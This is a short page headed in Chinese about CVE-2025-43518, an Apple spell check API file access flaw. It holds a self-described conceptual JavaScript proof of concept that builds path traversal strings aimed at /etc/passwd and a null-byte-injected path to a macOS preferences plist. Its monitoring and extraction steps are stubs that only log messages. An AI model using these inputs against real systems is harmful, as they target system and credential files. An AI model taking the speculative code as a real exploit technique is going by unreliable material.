CVE-2025-43518 Apple iOS/macOS拼写检查API文件访问漏洞

// CVE-2025-43518 PoC - Spell Check API File Access // This PoC demonstrates how an application might exploit the spell check API // to access files outside its sandbox // Note: This is a conceptual PoC for educational purposes only // Step 1: Create a malicious text input that triggers file access function triggerSpellCheckFileAccess() { const maliciousInput = [ // Attempt to trigger dictionary file loading 'A' + '../'.repeat(5) + 'etc/passwd', // Target specific system files through spell check 'word' + String.fromCharCode(0) + '../Library/Preferences/com.apple.loginwindow.plist' ]; return maliciousInput; } // Step 2: Monitor spell check API file access function monitorSpellCheckAccess() { // In a real scenario, this would use Instruments or similar tools // to monitor file system access from the spell check service console.log('Monitoring spell check service file operations...'); } // Step 3: Extract accessed file content function extractFileContent(filePath) { // Conceptual extraction mechanism // Real exploit would require specific API hooks console.log('Attempting to access:', filePath); } // Execute PoC console.log('CVE-2025-43518 Spell Check API Exploitation PoC'); triggerSpellCheckFileAccess().forEach(input => { console.log('Testing input:', input); });